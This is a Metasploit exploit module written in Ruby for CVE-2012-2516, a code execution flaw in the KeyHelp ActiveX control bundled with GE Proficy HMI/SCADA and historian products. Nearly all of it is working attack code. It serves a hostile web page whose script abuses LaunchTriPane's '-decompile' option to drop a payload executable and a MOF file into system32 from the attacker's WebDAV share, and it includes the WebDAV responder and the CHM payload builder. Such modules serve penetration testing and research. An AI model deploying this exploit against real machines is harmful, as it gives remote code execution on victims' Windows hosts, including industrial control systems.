##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE
 include Msf::Exploit::WbemExec

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :os_name    => OperatingSystems::WINDOWS,
  :ua_name    => HttpClients::IE,
  :javascript => true,
  :rank       => NormalRanking,
  :classid    => "{45E66957-2932-432A-A156-31503DF0A681}",
  :method     => "LaunchTriPane",
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability',
   'Description'    => %q{
     This module exploits a code execution vulnerability in the KeyScript ActiveX
    control from keyhelp.ocx. It is packaged in several products or GE, such as
    Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy
    Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42.
    When the control is installed with these products, the function "LaunchTriPane"
    will use ShellExecute to launch "hh.exe", with user controlled data as parameters.
    Because of this, the "-decompile" option can be abused to write arbitrary files on
    the remote system.

     Code execution can be achieved by first uploading the payload to the remote
    machine, and then upload another mof file, which enables Windows Management
    Instrumentation service to execute it. Please note that this module currently only
    works for Windows before Vista.

    On the other hand, the target host must have the WebClient service (WebDAV
    Mini-Redirector) enabled. It is enabled and automatically started by default on
    Windows XP SP3
   },
   'Author'         =>
    [
     'rgod <rgod[at]autistici.org>', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-2516' ],
     [ 'OSVDB', '83311' ],
     [ 'BID', '55265' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-169/' ],
     [ 'URL', 'http://support.ge-ip.com/support/index?page=kbchannel&id=S:KB14863' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     #Windows before Vista because of the WBEM technique
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'Jun 26 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
   ], self.class)
 end

 def on_new_session(client)
  print_status("The exe payload (C:\\windows\\system32\\msfmsf.exe) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\msfmsf.mof) must be removed manually.")
 end

 def auto_target(cli, request)
  agent = request.headers['User-Agent']

  ret = nil
  # Check for MSIE and/or WebDAV redirector requests
  if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
   ret = targets[0]
  elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
   ret = targets[0]
  elsif agent =~ /MSIE/
   ret = targets[0]
  else
   print_error("Unknown User-Agent: #{agent}")
  end

  ret
 end

 def on_request_uri(cli, request)

  mytarget = target
  if target.name == 'Automatic'
   mytarget = auto_target(cli, request)
   if (not mytarget)
    send_not_found(cli)
    return
   end
  end

  # If there is no subdirectory in the request, we need to redirect.
  if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
   if (request.uri == '/')
    subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
   else
    subdir = request.uri + '/'
   end
   print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
   send_redirect(cli, subdir)
   return
  end

  # dispatch WebDAV requests based on method first
  case request.method
  when 'OPTIONS'
   process_options(cli, request, mytarget)

  when 'PROPFIND'
   process_propfind(cli, request, mytarget)

  when 'GET'
   process_get(cli, request, mytarget)

  when 'PUT'
   print_status("Sending 404 for PUT #{request.uri} ...")
   send_not_found(cli)

  else
   print_error("Unexpected request method encountered: #{request.method}")

  end

 end

 #
 # GET requests
 #
 def process_get(cli, request, target)

  print_status("Responding to GET request #{request.uri}")
  # dispatch based on extension
  if (request.uri =~ /\.chm$/i)
   #
   # CHM requests sent by IE and the WebDav Mini-Redirector
   #
   if request.uri =~ /#{@var_exe_name}/
    print_status("Sending CHM with payload")
    send_response(cli, @chm_payload, { 'Content-Type' => 'application/octet-stream' })
   elsif request.uri =~ /#{@var_mof_name}/
    print_status("Sending CHM with mof")
    send_response(cli, @chm_mof, { 'Content-Type' => 'application/octet-stream' })
   else
    send_not_found(cli)
   end
  else
   #
   # HTML requests sent by IE and Firefox
   #
   my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
   path = request.uri.gsub(/\//, '\\\\\\')
   payload_unc = '\\\\\\\\' + my_host + path + @var_exe_name + '.chm'
   mof_unc = '\\\\\\\\' + my_host + path + @var_mof_name + '.chm'
   print_status("Using #{payload_unc} for payload...")
   print_status("Using #{mof_unc} for the mof file...")

   html = <<-HTML
   <html>
   <body>
   <script>
   KeyScript = new ActiveXObject("KeyHelp.KeyScript");

   ChmPayloadFile = "-decompile C:\\\\WINDOWS\\\\system32\\\\ #{payload_unc}";
   ChmMofFile = "-decompile c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\ #{mof_unc}";

   KeyScript.LaunchTriPane(ChmPayloadFile);
   setTimeout('KeyScript.LaunchTriPane(ChmMofFile);',3000);
   </script>
   </body>
   </html>
   HTML

   html.gsub!(/\t\t\t/, '')

   print_status("Sending HTML page")
   send_response(cli, html)

  end
 end

 #
 # OPTIONS requests sent by the WebDav Mini-Redirector
 #
 def process_options(cli, request, target)
  print_status("Responding to WebDAV OPTIONS request")
  headers = {
   #'DASL'   => '<DAV:sql>',
   #'DAV'    => '1, 2',
   'Allow'  => 'OPTIONS, GET, PROPFIND',
   'Public' => 'OPTIONS, GET, PROPFIND'
  }
  send_response(cli, '', headers)
 end

 #
 # PROPFIND requests sent by the WebDav Mini-Redirector
 #
 def process_propfind(cli, request, target)
  path = request.uri
  print_status("Received WebDAV PROPFIND request")
  body = ''

  if (path =~ /\.chm/i)
   print_status("Sending CHM multistatus for #{path} ...")
   body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
  elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
   print_status("Sending 404 for #{path} ...")
   send_not_found(cli)
   return

  elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
   # Response for anything else (generally just /)
   print_status("Sending directory multistatus for #{path} ...")
   body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

  else
   print_status("Sending 404 for #{path} ...")
   send_not_found(cli)
   return

  end

  # send the response
  resp = create_response(207, "Multi-Status")
  resp.body = body
  resp['Content-Type'] = 'text/xml'
  cli.send_response(resp)
 end

 def generate_payload_chm(data)
  path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_payload.chm")
  fd = File.open(path, "rb")
  chm = fd.read(fd.stat.size)
  fd.close
  chm << data
  chm
 end

 def generate_mof_chm(data)
  path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_mof.chm")
  fd = File.open(path, "rb")
  chm = fd.read(fd.stat.size)
  fd.close
  chm << data
  chm
 end

 #
 # When exploit is called, generate the chm contents
 #
 def exploit
  if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
   fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
  end

  @var_mof_name = rand_text_alpha(7)
  @var_exe_name = rand_text_alpha(7)
  payload_contents = generate_payload_exe
  mof_contents = generate_mof("msfmsf.mof", "msfmsf.exe")
  @chm_payload = generate_payload_chm(payload_contents)
  @chm_mof = generate_mof_chm(mof_contents)

  super
 end

end